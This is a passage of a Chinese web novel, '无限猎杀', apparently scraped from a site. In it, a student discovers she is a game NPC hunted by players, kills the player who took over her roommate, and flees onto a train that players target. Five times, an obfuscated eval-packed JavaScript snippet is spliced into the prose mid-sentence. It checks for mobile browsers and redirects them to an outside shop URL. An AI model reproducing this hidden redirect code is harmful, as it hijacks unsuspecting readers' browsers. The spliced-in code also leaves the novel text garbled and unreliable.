“你到底是谁?你不是秦若离!”林轲强打起精神,开口问道。她心里盘算,秦若离没有立刻冲下来动手,正是自己争取时间恢复的好机会,要尽快拖延时间让自己恢复。 “我……”秦若离收回摆弄的刀,双手撑在在栏杆上,高高在上俯视着林轲,自带优越感说,“我是《无限猎杀》里的玩家,是猎人,而你……是我的猎物,我猎杀的对象。” “什么是无限猎杀?你在说什么,我听不懂!”林轲敏锐察觉到秦若离的优越和得意,故意装出一脸惊恐的样子,瞪大双眼,身体微微颤抖,希望能麻痹对方。 秦若离嘴角含着一丝笑,“这么和你说吧,你的世界,不是真实的世界,是游戏搭建的世界。而你,只是游戏里的NPC,是供我们猎杀的对象,只是一个数据和建模而已。” 秦若离短短几句话信息量巨大,直接颠覆林轲的三观,一时难以消化。不过这些信息,对于现在处于危险状态的她无关紧要,她满脑子里只想着一个事,活下去。她继续和秦若离周旋,“那我的室友,真正的秦若离呢?她去哪里了?” “谁知道,或许在我降临的那一刻,她就死了。”秦若离满不在乎地一耸肩,说完拎着刀,漫不经心地转身,朝着楼梯走去。 林轲身体被墙撞击的剧痛虽有所缓解,但每一次呼吸、每一个动作都牵扯着全身的伤痛。她咬着牙,强忍着膝盖的剧痛,扶着门口无形的墙,缓缓站起来。 她终于知道为什么秦若离不害怕自己逃跑,因为她根本跑不出寝室楼。 此时天幕已经彻底暗下来,林轲余光瞄向大厅灯的开关位置——距离一米远的墙壁上。 秦若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343078|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离依旧不紧不慢往下走,优雅又充满自信。 林轲箭步冲向大厅灯开关的方向,扑过去直接拍下开关。 “啪——” 大厅瞬间陷入一片黑暗中。 林轲沿着暗下来的走廊,快步跑向侧面楼梯上楼。她手扶着墙,一瘸一拐,不敢有丝毫停歇。她竖起耳朵,时刻留意着身后的动静。 秦若离并没有加快脚步去追,反而慢悠悠走下来,从容不迫打开一楼大厅灯,看着林轲逃跑方向。 这样才有意思啊…… 逃跑的猎物抓住后杀死才有猎杀的成就感。 她是猎人,又不是屠夫。这一次,她要抓住自己的猎物,好好折磨,把前两次被反杀的屈辱都找回来。 此刻,林轲身影已经消失在走廊尽头,只剩一片黑暗。 “垂死挣扎。”秦若离冷笑起来,“这一次,我要让你好好享受下被猎杀的滋味。” 一旦标记生效,猎物所在的区域会形成结界,把这个空间隔离,是绝不可能逃走的。 秦若离第二次被反杀后,特意去游戏商城兑换一把手枪,这次她更是有恃无恐。自己有刀有枪,而猎物赤手空拳,就算被猎物反杀两次,也只是自己的疏忽和大意而已。若是正面和猎物交手,猎物早死了。现在猎物的逃跑行为反而增加她猎杀的乐趣。 秦若离持着枪沿着林轲逃跑的方向去追。她刚走到一楼的楼梯,听到二楼响起哗哗流水声。 秦若离立刻举枪沿着楼梯往上走,走进二楼流水的水房,直接打开水房门口的灯。 水房刚进门是两排水池,往里拐是卫生间。水池这块没人,她猜林轲一定躲在卫生间的某个格子间,在里面瑟瑟发抖。 “小可爱,乖~你还是不要再挣扎了。只要你乖乖出来,我还能给你一个痛快的死法。”秦若离举着枪,走进卫生间。格子间里的门或开或关,用脚挨个踹开门排查。 七个格子间还没排查完,她又听到远处水房哗哗流水声。 “在逗我玩么!” 5. 无限猎杀 “没事的~”秦若离安慰自己,“顶多费一些功夫而已,这次看我怎么杀了你!” 她依旧举着枪,转身离开水房,朝着哗哗流水的水房走去。她按照之前方法,继续排查流水水房里的格子间,还没排查完又听见楼上的流水声。 死寂的寝室楼里,哗哗的流水声从各个水房传来,扰乱着秦若离的听觉。扑空了五次后,她有些受不了了,对着空荡荡的格子间泄愤地开了两枪。 她有些后悔,不如刚才一枪崩了她好了。 她本以为第三次猎杀能胜券在握,没想到又被这个NPC耍得团团转。 满腔怒火的秦若离奔向最后有流水声的五楼南侧水房。 这一次,她在哗哗流水声里听到交织着细弱的抽泣声。 太好了!终于找到了!她就在这里! 秦若离举着枪,直接冲进水房。 她要把这个NPC射成筛子! 细弱的抽泣声来源已经锁定,是从其中一个格子间传来的。 秦若离激动地连灯都没有开,直接冲过去,举枪踹开声音来源格间虚掩的门,直接冲里面连开三枪。 “砰砰砰!” 子弹打在瓷砖上,枪声在狭小卫生间震颤。 乱射之后,秦若离才发现里面空空荡荡,连个鬼影都没有。 秦若离意识到自己又被耍了,可是一切已经来不及了。 就在她踹开门的瞬间,一道黑影从对面的格子间里出来,举起黑的物体,冲着她的后脑狠狠地砸下去。 秦若离感觉脑袋仿佛碎裂开了,眼前黑漆一片。 这波剧痛还没结束,一道道“嗖嗖”声袭来,猛烈打击她的后脑。 她彻底失去反抗能力,身体控制不住扎进空荡荡的格子间的蹲便池里。 她后悔了! 她后悔没有见到林轲就对她开枪,直接杀了她,非得和她玩猎杀游戏。 可是这一切都晚了……她再也没有机会读档重来了。 林轲见秦若离倒地,一步上前,夺走她手中的枪,枪口对着秦若离已经被打得血肉模糊的后脑。她的手因为刚才的用力过猛而微有颤抖,但声音却异常的平静。 “我这辈子,最恨被人当成猎物。”说完,她直接扣下扳机。 秦若离的脑袋爆开一个血洞,空气里弥漫着丝丝火药味和浓郁的血腥味。 林轲把自己的手机从格子间的架子上拿回来,手机里还循环播放着她录制的抽泣声。她之所以打开每一层水房的水龙头,一方面是引诱秦若离,另一方面是掩盖哭泣录音带来的失真感,迷惑秦若离。 林轲没想到自己此生会再次杀人,而这次杀人,并不是她精心设计好的意外,而是证据确凿的谋杀。 要怎么办?报警自首吗? 要是这样,自己会被判什么罪?防卫过当?自首应该会有量刑吧? 正当林轲纠结犹豫时,秦若离的尸体变成了绿色代码,代码在暗黑空间发着莹莹绿光,快速流动。 林轲连忙后退两步,举枪对着快速流动代码的尸体,她惊愕发现,手中的枪也变成流动的莹绿色代码。 莹绿色代码逐渐变成模糊的像素块,像素块越来越大最后突然消失,连同地上的血迹和枪一起消失。更让林轲惊奇的是,她身上的撞疼也一并消失。 林轲眼前浮现出银色的光幕: 【NPC737号已反复杀死Mboss玩家三次,标记已经解除,NPC奖励已掉落】 林轲盯着“反复杀死Mboss玩家三次”这句话思索,在她的记忆里,她应该是第一次杀死秦若离,何谈反复三次? 除非,每一次都被清除记忆。 很快,无数记忆涌入她的脑海。她全部记起来了,她的的确确杀了秦若离三次,而且每一次杀她的方法都不一样。 结合之前秦若离说的话、变成代码消失的尸体和眼前的光幕,她已经彻底相信自己只是游戏虚构的角色,一个小小的NPC,供玩家猎杀的猎物。 林轲没想到自己小心翼翼,避免伤害活了20年,居然是供玩家猎杀的猎物。 她所在的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343079|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界,国家都是游戏架构的,都是虚拟的。 或许是前三次愤恨太过强烈,她现在异常平静。 “哗啦——”金币掉落的音效在林轲耳边响起,她眼前的光幕发生变化。 【武器:唐刀】 【解释:冷兵器,近身作战武器,有效攻击范围取决于你挥动的范围,配合刀谱使用更佳。 削铁如泥已经不能形容它的完美,只要你速度够快,力量够强,可以用它挡下步枪的子弹。但请不要试图用它抵挡火.箭.弹或者核弹……毕竟人家是冷兵器嘛~】 【初级刀谱已经掉落:解锁条件——体能C级】 【觉醒能力:视网膜投影】 【解释:你可以利用视网膜投影变成已经被你杀死的玩家。这是一个很好的伪装能力,而且还赠送0.5立方米物体隐身空间,注意:物体必须随身携带哦~离开身体隐身瞬间失效。 作用人数:1人】 游戏看似为NPC设置奖励机制,实际上是为了增强玩家的游戏体验。毕竟,如果NPC都脆弱到不堪一击,那“猎杀”的乐趣又从何而来呢?有来有回才有意思。 她无论怎么做,都是在为玩家服务。玩家的等级越高,对NPC的反杀能力要求越高,只有在势均力敌的较量中,玩家才能体会到真正的乐趣。 玩家被杀,还可以读档重来,就算彻底输了,也不会有性命之忧。 但是NPC呢?NPC死了还可以重来吗? 林轲想到自己真正的室友秦若离,她跑回寝室,寝室里空空荡荡,只有那红色的皮箱孤零零立在那里,等待它的主人。 对于室友的死亡,林轲并没有什么悲痛,而是在想接下来要怎么办。 她不确定这个被彻底反杀的玩家回到自己世界会不会把她公之于众,让其他玩家来杀她。毕竟在自己世界,从网上挂一个人是很方便的一件事,几乎不会有任何代价,更何况游戏里的NPC。 如果真的发生那样的情况,她在学校里将无处可躲。可要是逃走,她又该去哪里? 6. 无限猎杀 正当林轲陷入沉思时,她的目光落在了立在一旁的红色皮箱上,想起自己刚刚觉醒的能力。她迅速打开寝室的灯,走到桌子旁,拿起秦若离的双肩包,翻出她的学生证和身份证。 如果没记错,秦若离买了今天晚上八点的火车回家,这是一个绝佳的逃离机会。林轲可以利用异能,变成秦若离模样,先回她家,躲过这一波追杀。 【请NPC737号选择武器加载的物品。 提示:武器一旦加载,便不可更改。】 机械而中性的声音在林轲的脑海中响起,提醒着她进行下一步的操作。 林轲这才注意到,游戏中的提示音居然是在称呼她的编号,而不是她的名字,原来在这个虚拟世界里,她只不过是一个彻头彻尾的工具人。 她手中还拿着攻击秦若离的黑伞。黑伞是老旧样式,有金属的伞尖和弯钩的伞把,重量不轻,这是她随手从水房捡的。 她举起黑伞说,“就加载到这把黑伞上吧。” 【正在加载中……】 【武器加载完毕,NPC可以通过意念切换武器。】 林轲心中默念“唐刀”,只见手中的黑伞瞬间化作一把深邃如墨的唐刀,刀刃上闪烁着森然的冷光。林轲握住刀柄,刀身沉甸甸,她单手很难挥动。 她双手握住刀柄,举起刀,向床上的栏杆砍去。出乎意料的是,刀刃划过之处毫无阻力,仿佛砍到了空气。林轲走近细看,发现栏杆上只留下了一道细窄而深刻的割痕,切面还有细微的数据流动残影。 果然是削铁如泥。 果然是游戏世界。 林轲对这把刀很满意,用意念把它变回伞。她记得刚才字幕里提到“刀谱”,以及解锁条件,直接开口问,“我在现在体能是什么?” 【已为你调出基本信息页面】 【姓名:林轲】 【角色:平民NPC】 【体能等级:E级】 【解释:你的身体素质低于88%的人,请加强锻炼】 【一句话概括:弱鸡,废柴】 【性情等级:F级】 【解释:难以共情,目标达成率高,特立独行,不在乎他人目光】 【一句话概括:讨人厌,没朋友】 【智力等级:无法确认】 【一句话概括:也许是个弱智???】 【综合等级:F级】 林轲盯着这个页面,嘴角微抽冷笑,这个游戏还有些幽默在里面,但是不多,而且很冷。发现不能解锁刀谱,林轲没有过多纠结,她掏出手机看下时间,正好七点,现在打车去火车站还来得及。 “视网膜投影这个能力怎么发动?作用时间是多久?”林轲在心里问。 游戏直接回:所有能力都用意念发动,此能力只限制作用人数,不限制作用时间。 林轲心中默念秦若离的模样,拿起桌子上的镜子。镜子里的人果然是秦若离,甚至连细微的面部特征都完美复制,身高体型一模一样。林轲对这个能力非常满意,她收拾好包背,拿起变回黑伞的武器,关上寝室门,匆匆离开。 走到寝室一楼大门时,林轲特意停下脚步,伸出手去触摸门边的空气。确认没有任何无形的屏障后,她才放心地走出去。 路过小超市时,林轲想起第二轮中,玩家在她的水杯中投入不明粉末的情景,于是走进去买了三瓶2升的水,五板奶片和一大袋子饼干方便面。结账时,老板问,“你这是要去哪啊,买这么多东西?” 在林轲眼里,这个世界已经彻底变了,但是对于老板而言,这只是平平无奇的暑假一天。 林轲没说什么,拎着买好的食物往出走打车去火车站。 在去火车站的路上,林轲调出游戏版面,用意念控制,挨个查看。游戏版面很简单,第一个页签是个人信息,第二个页签是武器和能力,第三个页签是NPC论坛。 NPC论坛栏空空荡荡,右上角有一个小笔按钮,标注“发布帖子”。林轲用意念点了下,界面显示“NPC等级不够,不能发布帖子。” 随即又弹窗出来个页面:请修改论坛昵称。 林轲想了想,输入“人美心善嘴又甜”点击提交。 恭喜“人美心善嘴又甜”注册成功。 浏览完所有信息后,林轲关闭了游戏界面,目光转向窗外。华灯初上,车流如织,繁忙的城市景象映入眼帘。 今天不知道有多少NPC在无知无觉中成为了玩家的猎物,死于玩家之手。 林轲回想起第一次杀玩家“秦若离”的细节。如后两次一样,她拎着炒河粉回寝室,发现秦若离没有走。她有些疑惑,但没有开口询问,而是吃完河粉。她清晰记得一个细节,她吃完炒河粉后直接把水杯里的水都喝了才去洗衣服。所以,第二次的时候,“秦若离”才会给她下药。 第一次时,林轲隐隐感觉秦若离和往常不同,她看林轲的眼神充满着玩味,尤其是她双手插在后裤兜里的站姿,完全像个男人。 林轲察觉到异样,试探性开口:“秦若离,我记得你上学期艺术鉴赏课,为了写《飘》的鉴赏分析,买了本纸质版的书,可以借我看看吗?” 秦若离直接应了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343080|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声“好”,开始在自己书架上找那本书。 林轲这才确定这个人真的不是秦若离,因为买书的是文思涌,秦若离写的是《肖生克的救赎》。她抱着一盆需要晾的湿衣服,邀请秦若离和她一起晾衣服。 秦若离很痛快答应了。 两个人在五楼天台晾衣服,林轲故意让她站在靠近边缘位置。晾完衣服后,林轲一手拿着盆,一手拿晾衣杆平静问,“你不是我室友秦若离,你到底是谁?” 秦若离震惊得张大眼睛,但没有一丝恐惧,兴奋问,“我哪里做得不对,让你看出破绽?是艺术鉴赏的书吗?我的确不是秦若离,我是《无限猎杀》的玩家,是来杀你的。” 在那一瞬,林轲身体本能地做出反应,根本来不及多想。她手中的晾衣杆如同利剑一般,狠狠地捅向秦若离的胸口。秦若离毫无防备,被这股力量捅得后退两步,腿绊到天台年久失修,破碎低矮的栏杆,直接仰面从天台上翻了下去。 与此同时,林轲眼前浮现出光幕,提示她玩家已经选择读档重来。 想到这里,林轲不禁揉了揉太阳穴,她从没想过自己杀气居然这么重,第一次杀玩家时,纯是本能应激反应。 不过也幸亏她杀气重,不然死的就是自己。 “姑娘,刚才群里兄弟说前面的路被警察封了,我给你绕个道去火车站吧。”司机的声音把林轲从回忆中唤回。 “行。”林轲应了一声,不解问,“警察为什么封路?” “哎!这件事估计得上热搜,一家K记里面所有客人被里面的店员杀了。那场面惨不忍睹,到处都是血,估计至少死二三十个人。”司机师傅说完,长长叹了口气。 “你说这好好的,为什么突然发疯杀人?还是持枪杀人!听说没有一个人跑出来的。”司机不住摇头。 林轲第一反应是玩家干的,她追问,“凶手怎么样了?” “凶手被警察抓住的时候说不是他干得,后面的事我就不知道了,都是听群里兄弟说的。” “他人即地狱。”林轲看向窗外略过的光影,喃喃说,“以后会越来越乱的。” 随着玩家的到来,这个世界将会彻底失序,逐步崩溃瓦解。 林轲在大约七点半的时候到达火车站。她走到自助售票机前,刷了一下身份证,顺利地拿到K3323车次的火车票。拿到票后,她将身份证放在自助验票机的感应区,准备通过验票进入候车室。就在这时,闸机突然红光闪烁,发出刺耳的“滋滋”声,旁边的人脸识别显示器上出现了几个醒目的白字: 人脸验证失败,无法通行。 7. 无限猎杀 警报初响时,林轲误以为是机器故障,她再次放下身份证,对准人脸识别摄像头进行验证。 闸机的警报声依旧尖锐地响起。 林轲突然间想起“视网膜投影”这五个字,瞬间明白问题所在,连忙后退两步,离开自动验票闸机。 她的行为引起了旁边工作人员的注意,一个穿着车站制服的中年男人走过来。他站在闸机的内侧,关心地询问:“怎么了?过不去吗?” “嗯。”林轲保持镇定,嘴角艰难地上扬,露出一丝略显僵硬的笑容。 男人向她摆摆手,示意她靠近一些,“你过来,让我看看。” “不了,我赶时间,我从人工那里走。”她说着,横着穿过匆匆进站的旅客,来到另一侧的人工验票口。 她极力克制住颤抖的手,把身份证交给检票的工作人员。她表面镇静自若,但内心的不安却像潮水般涌动。 人工检票口的工作人员在接过她的身份证后,抬头看了她一眼,又看了看手中的身份证,然后再次抬头看她,反复核对,像是在寻找疑点。 林轲垂在身侧的手心渗出了一层层黏腻的冷汗,心咕咚咕咚剧烈跳动着,她轻声催促,“大哥,能不能快点,我这趟车马上要开了。” 工作人员对照身份证照片,反复看了她三次后,将身份证递还给她说,“你这趟车在13号检票口。” 林轲接过身份证,说了句“谢谢”后迅速低下头,快步离开闸机区域。 视网膜投影,这个能力的名字已经告诉她,作用的物体,只是视网膜,并不包括光学设备。正是因为这个原因,刚才的摄像头捕捉到她真实面容,对比秦若离的身份证照片,才导致人脸验证失败。 想到这里,她不禁捏了把冷汗,责怪自己的粗心大意,居然没有提前想到这一点,差点露馅。 她从一楼通过闸机,坐滚梯上二楼候车。她刚到二楼,便看到其他乘客将大包小裹放在传送带上过安检。 她低头看了看手中的黑伞,不确定这把黑伞过安检时是否会引发警报,就像刚才过闸机时一样。 她不能承担黑伞被留下的风险,毕竟这个世界已经向她展露出魔爪,她需要武器自保。 要不要把黑伞隐身呢?如果隐身后过闸机依旧报警,那要如何解释?自己会不会被扣下来搜身?一旦被扣下来,拍照片什么的就麻烦了,要是那样还不如不隐身。 林轲权衡利弊后,决定拿着黑伞直接通过闸机。 她转身下楼,没有着急进入候车室,而是等待合适的机会。在还有十分钟开车时,大波旅客拿着行李涌向滚梯上楼,他们大多数是旅行团游客,都穿着红色马甲,背着黑色双肩包,头戴黄色帽子。 她看准这个时机,一手拿着黑伞,背着双肩包,另一只手拎着她买的水和速食品,混在他们中间。她在人群挤挤推推中,把背包和食物放入安检的传送带,手紧紧握着黑伞,跟着人群经过安检门。 就在她经过安检门时,警报声突然响起,“滴滴滴”的声音在嘈杂的候车厅里依旧显得格外刺耳。 安检门上方的报警红灯不停地闪烁。 林轲紧紧握住手中的黑伞,心口猛地收紧。就算这样,她依旧平静通过安检,仿佛什么都没有发生,站在行李传输带的最末端等待着她的背包和食物。 负责安检的工作人员从座椅上站起来,指着林轲说,“小姑娘,你过来一下。” 林轲没有理他,径自拿起自己的背包背上。 工作人员见林轲没有反应,走近她声音坚定:“穿着黑色卫衣外套的小姑娘,你过来下。”此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343081|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,林轲已经将所有的物品都拿在手中,她茫然地看着工作人员,眨着无辜的眼睛。 “怎么了,哥。”林轲尽量让自己看起来不知所措。 “你刚才过安检的时候警报响了。” 这个工作人员年纪不大,应该不到三十岁,但眼神却异常犀利,目光在林轲的身上和行李之间来回扫视。 林轲紧张得牙齿都在轻颤,她努力保持镇定,装成一副单纯大学生的模样,脸上露出焦虑的神色,“可我身上也没什么呀。” “要不然我再过下安检?”她试探性地问,同时将背包和袋子放下,当然也包括手中的黑伞。 工作人员点了下头。 林轲匆匆跑向安检门,挤着迎面而过的人,从安检门里再次通过。 没有任何警报。 林轲依旧保持着茫然的表情,问工作人员,“这回没事了吧?” 工作人员困惑地眯起眼睛,目光扫了到放在地上的黑色伞说,“把它拿着再过下安检。” 林轲听完他的话,心里咯噔一下。她脸上呈现出为难的神色,从裤兜里掏出车票,递给他看,“哥,我马上要发车了,你看那边过安检那么多人,我还得逆着他们挤过去。而且,这就是一把普通的伞啊。” 林轲说着蹲下身,拿起黑伞,摁着伞把的按钮,嘭地一声打开伞。 “你看,什么都没有。”林轲握着伞,转了一圈,急得眼里噙了些许的泪花。 虽然通过安检的人越来越多,一个个争先恐后地把包往传送带上摔,和打架似的,但工作人员依旧从林轲手中抽走黑伞,折上后见针插缝塞进传送带上。 传送带一寸寸地走,可林轲的心却咕咚咕咚地狂跳。 她紧紧盯着传送带,脑子里想着各种对携带危险物品的解释。 8. 无限猎杀 虽然马元被强制退出游戏,但眼前依旧是他头扎进便池的画面,仿佛游戏也在嘲笑他的失败。 居然被最低级NPC反杀三次,马元气愤地扯下太阳穴的脑机,紧紧握在手中。 形状如神经元的脑机像是有生命般,在他手上缓缓蠕动。 这款脑机是蓝菌公司为《无限猎杀》单独开发的,戴上后直接接入脑神经,把影像投放在视网膜上,同时控制神经系统,让玩家拥有真实的感知,完全做到身临其境。 马元在游戏世界受到的攻击,脑机会作用在不同的神经系统上,呈现出对应的痛感或者失重感,这种感觉不会持续,会随着游戏结束而消失。 玩家可以调节痛感指数,痛感指数和血条厚度正相关。痛感指数越高,血条越厚,痛感指数越低,血条越薄,在游戏里毫无痛感的玩家非常脆弱,可能摔个跤就gameover了。 游戏的脑机需要单独购买,耗费500个生命值,非常贵重,但马元这个是开服抽奖抽中的,是他这辈子为数不多的幸运之物。 马元缓缓松开手,再次戴上脑机,用意念进入《无限猎杀》游戏的玩家论坛首页。 刚进去,直接弹出醒目的红字提醒: 各位猎人们请注意: 《无限猎杀》原3D游戏将在蓝菌纪元73年4月1日正式停服。 更佳游戏体验尽在全息游戏《无限猎杀》中,让我们一起体验精彩猎杀世界。 马元烦躁地关闭了这个不断提醒的公告,进入游戏论坛。 那条公告依旧在论坛顶部以醒目的红色字体滚动在他身边。 原先的论坛设计很简洁,只有玩家交流区,但现在随着全息游戏的推出,界面焕然一新,被重新划分为四个板块,每个板块变成不同的图标悬浮在他面前。 银色的花是全服排名板块。由于服务器刚刚更换,全息游戏今日才正式开启,这里暂时空白。 M的字母是新增的标记发布区,专为Mboss玩家设计。Mboss玩家可以在这里标记特定的目标点,召集其他普通玩家一同进入,共同参与猎杀行动,普通玩家所获得的经验值会抽一定比例给Mboss玩家。 手枪标识是追杀悬赏区。这里为那些遇到难以对抗的NPC的玩家提供了一个平台。他们可以发布悬赏任务,邀请其他玩家协助猎杀。 小笔区域是曾经的玩家交流区,之前的帖子都被转移到了这里。 马元进入玩家交流区,浏览标题。 【淦,全息游戏体验真的太带劲了,杀人的感觉无比真实!我感觉我真的杀了人!!!!】 【就在大家去全息游戏体验时,我依旧在3D游戏里徘徊!我出600生命值求购脑机一个!】 马元皱着眉往下翻,想看看有没有和自己情况一样的,果然看到一个帖子: 【哭唧唧,被NPC反杀3次,是不是以后再也不能获得Mboss资格了?】 马元进入帖子查看回复。 1楼:当然了,你以为谁都可以做Mboss吗?这次是因为正式开服给所有玩家的福利!Mboss被NPC反杀三次就会彻底失去标记资格,游戏规则你们不看吗! 2楼:楼主到底有多菜鸡,才能被NPC反杀三次???啊哈哈哈! 3楼:好心提示,如果楼主心有不甘,可以把NPC挂到悬赏区,让其他玩家去猎杀。 4楼:弱弱问一句,重新读档后,NPC不是没有记忆吗?为什么还会被反杀三次呢? 2楼回复4楼:就是因为是菜鸡啊!哈哈哈哈,还好意思发帖子,xswl 马元看到这里直接退出论坛,进入悬赏区,点击“发布悬赏令”,开始录入林轲的个人信息,上传她在游戏里的照片。 马元把她的体貌特征,学校等具体信息都放上去,并且在备注说明里面写道:此NPC极其阴险,手段狠毒,诡计多端,喜欢背后偷袭,一定要小心。 马元写完,看了下游戏币余额有20多万,他咬了咬牙,直接输入10万元后,勾选“匿名发布”,发送出去。 他刚发布,论坛就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343082|199453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有个新帖子蹦出来。 【那个悬赏令是认真吗?一个F级的NPC居然值10万猎币?发布悬赏的是个垃圾吧!!!!】 1楼:是啊,看照片只是弱不禁风的女生。 2楼:大家好,我就是那个匿名玩家,我人傻钱多,为大家奉献10万猎币,希望大家能荫庇我,让我不要再受弱小的NPC欺负,阿门~ 你们才是垃圾呢!马元气得直接关掉这个帖子,不想看这群没见过世面的玩家吐垃圾。 他刚退出去,便看到原来空空荡荡标记发布区有一个召集令。 【标记区域:K3323列车】 【NPC人数:2000以上】 【召集玩家数量:上线25人】 【说明:K3323列车是2019年8月7日,从北安市20:03始发,终到漓州,全程12小时15分钟。普通玩家自带武器上车,等待Mboss发布指令后才可以开始猎杀。 本次猎杀经验值抽成比例50%】 马元刚才在游戏里都是被别人杀,一点瘾没过反而憋了一肚子气,看到这条召集令直接点击“报名”按钮。 页面弹出对话:恭喜玩家“四目蜘蛛”报名成功,请进入Room23569,等待Mboss布置具体猎杀方案。 弹框消失,马元瞬间进入暗蓝色的海底世界。 海中悬浮着紫色发亮的水母,随着洋流缓缓游动。马元想伸手触摸它们,发现自己根本无法控制身体。他这才意识到,自己也是水母之一,跟着旁边的水母一起游动,旁边的水母应该是其他玩家的意识。 原来高级别标记还有这么神奇的进入方式,他既新奇又失落。因为一个垃圾NPC,他居然错失这么炫酷的召集方式,再也不能做Mboss了。 恨死了!!! 他漂了一会,看到深海里一只巨大章鱼,章鱼身上流动着莹绿色代码,每条触须都缠绕着绿皮列车。从吸盘上的复眼缝隙里露出列车牌: K3323 北安——漓州 9. 无限猎杀 林轲以为她的黑伞会被扣下,没想到什么事也没有,黑伞顺利通过安检。 她捏了把冷汗,点背的人进站居然也一波三折~~~ 不过这也验证了黑伞只有在她手上才是武器形态,其他时候只是普通黑伞。 13号检票口只剩下零星几个人,林轲快跑两步,从人工检票口通过,坐着滚梯下楼,俯看着长长的绿皮火车。她想火车上这么多人,应该不会被标记吧,可以在火车上安心睡一觉好好休息。 “列车马上就要发车了,没有上车旅客抓紧时间上车!” 站台工作人员举着大喇叭喊。 林轲快走几步,从离她最近的车门上车。 车厢过道和连接处挤满了人。车没启动,空调没开,整个车厢内闷热难耐。很多人上车便开始冲泡面,空气里弥漫着汗味和泡面交织的味道,熏得林轲头都有些晕。 她终于挤过了三节车厢,到达7号车厢。她的床铺上坐着一对中年男女,正就着红烧牛肉面的红汤啃馒头。 林轲没有直接让他们起来,而是靠在过道等待。 女人率先站起身说,“美女,你是7号下铺吧?” 林轲微微点了下头。 女人露出笑容,呲着泛黄的牙说,“我们是你上铺的,借着你的地方垫吧点东西哈,吃完就上去。” “嗯。”林轲冷淡回应。 林轲本来谨慎多疑,知道玩家降临后更是提高警惕。她背靠着窗户,低垂着头,棒球帽的帽檐遮挡住半张脸。她看似在等着那对男女,实际上默默观察和自己同一车厢的人。 在她铺位吃东西的男女,女人眼梢上挑,唇角总是不自觉地下抿;男人眼角向下拉着,眼白多眼仁少,右手无名指还断了一节。 七号中铺躺着一个孩子,看模样也就两三岁大。孩子面向车壁,头朝里侧躺,林轲看不见她的脸,只看见孩子身上灰旧的裤子和脏兮兮已经泛黄的白背心,但她露出来的手和小胳膊却白嫩,一点也不脏。 林轲又看看坐在自己床铺吃得鼻涕横流的男女,男人甚至用手肘抹了下流出的鼻涕。 对面上铺是个男人,靠着车壁,带着耳机刷平板,中铺没有人,下铺坐着男孩和男人。 男孩约莫八九岁,穿着咖啡色格子背带裤,白衬衫。他皮肤白净,五官标致,有种从民国电视剧里走出来的富家少爷气质。 男孩旁边坐着的男人表情严肃,因为身型太高大,坐在下铺微微弓背。他穿着白色长袖衬衫,黑色西服长裤和黑皮鞋。 直觉告诉林轲,除了对面上铺那个男人,其他人都有点诡异。 她不动声色打量这几个人,直到坐在她床上的男女吃完饭站起来去扔垃圾,她才走过去坐下。 她把背包挂在车壁上,那兜吃的放在靠窗位置,将手中的黑伞横在腿上,一刻也没有放松。 中年男女扔完垃圾回来,男人直接爬上上铺,女人则在林轲身边坐下。 “美女,你是大学生吧?”女人转身看向林轲,热切地问。 林轲依旧坐在那里,没有任何回应。 “我看你穿得挺多,你不热吗?” 林轲依旧没有回答她。如果换做是她的同学,或许还会出于礼貌简单回应几句,但对于这些萍水相逢的陌生人,她根本不想开口。 